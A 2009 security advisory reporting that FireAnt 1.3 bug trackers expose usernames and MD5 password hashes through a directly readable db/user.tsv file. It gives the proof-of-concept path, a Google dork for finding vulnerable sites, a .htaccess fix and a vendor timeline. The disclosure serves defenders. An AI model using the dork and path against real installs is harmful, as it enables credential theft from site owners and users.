FireAnt 1.3 File Disclosure

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[ECHO_ADV_106$2009] FireAnt <= 1.3 Critical File Disclosure Vulnerability  
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Author : K-159  
Date : March, 16 th 2009  
Location : Jakarta, Indonesia  
Web : http://e-rdc.org/v1/news.php?readmore=130  
Critical Lvl : Moderate  
Impact : Exposure of sensitive information  
Where : From Remote  
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Affected software description:  
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Application : FireAnt  
version : <= 1.3  
Vendor : http://chaozz.nl/software/fireant/  
Description :  
  
FireAnt is a Bug Tracking System (BTS) without the fancy bells ‘n whistles. It’s very small (about 30 kb) and easy to install/maintain (no MYSQL needed).  
It’s a really straight forward simple BTS, initially made to support the FreeWebshop.org project.  
  
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Vulnerability:  
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Critical user.tsv file in db's folder are vulnerable to direct access to view 'critical' information about username and md5hash password from users.  
  
  
Poc/Exploit:  
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http://www.example.com/[FireAnt_path]/db/user.tsv  
  
Dork:  
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Google : "Powered by FireAnt v1.3 and chaozzDB v1.2"  
  
  
Solution:  
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- add .htaccess in folder db.  
  
Timeline:  
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- 14 - 03 - 2009 bug found  
- 14 - 03 - 2009 vendor contacted  
- 15 - 03 - 2009 vendor response  
- 16 - 03 - 2009 advisory release  
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Contact:  
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K-159 || echo|staff || adv[at]e-rdc[dot]org  
Homepage: http://www.e-rdc.org/  
  
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